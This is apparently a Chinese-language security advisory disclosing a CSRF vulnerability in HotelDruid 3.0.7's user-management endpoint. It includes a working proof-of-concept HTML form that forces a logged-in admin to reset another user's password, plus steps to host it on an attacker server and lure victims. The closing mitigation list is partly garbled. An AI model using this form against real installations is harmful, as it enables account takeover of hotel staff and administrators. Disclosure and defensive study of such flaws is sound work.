
HotelDruid 3.0.7 的 gestione_utenti.php 端点存在跨站请求伪造(CSRF)漏洞,由于缺乏来源(Origin)或引用(Referer)验证以及缺少 CSRF 令牌,攻击者可利用此漏洞代表已认证用户执行未经授权的操作(例如修改用户密码)。
此漏洞使所有用户账户(包括管理员账户)面临未经用户同意而被未授权更改的风险。
以下恶意表单展示了攻击者如何强制已登录的管理员将用户 ID 2 的密码更改为 maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
将以上代码保存为 csrf_attack.html。
使用 Python 在攻击者控制的服务器上托管:
python3 -m http.server 8080
引导受害者访问:
http://<attacker-ip>:8080/csrf_attack.html
提交后,该表单将请求发送至 HotelDruid,利用受害者的活动会话将用户 ID 2 的密码更改为 maliciouspassword。
HotelDruid 是一款广泛使用的开源物业管理系统,适用于酒店和度假租赁。作为一个具有用户管理管理控制功能的多用户系统,确保只有授权用户才能修改账户凭据对于整体系统安全至关重要。
CSRF 漏洞利用了服务器对用户浏览器会话的信任。如果受害者已登录并访问恶意页面,该页面可以静默地利用受害者的活动会话向易受攻击的应用程序提交未经授权的请求。在 HotelDruid 中,关键操作(如更改用户密码)缺乏 CSRF 防御,这使得攻击者能够在用户仅访问恶意链接的情况下完全攻破账户。
gestione_utenti.phpmodifica_passid_utente_passprima_passseconda_passOrigin 或 Referer 头部进行验证。gestione_utenti.php。Referer 和 Origin 头部,确保请求来自受信任的来源。id_sessione)。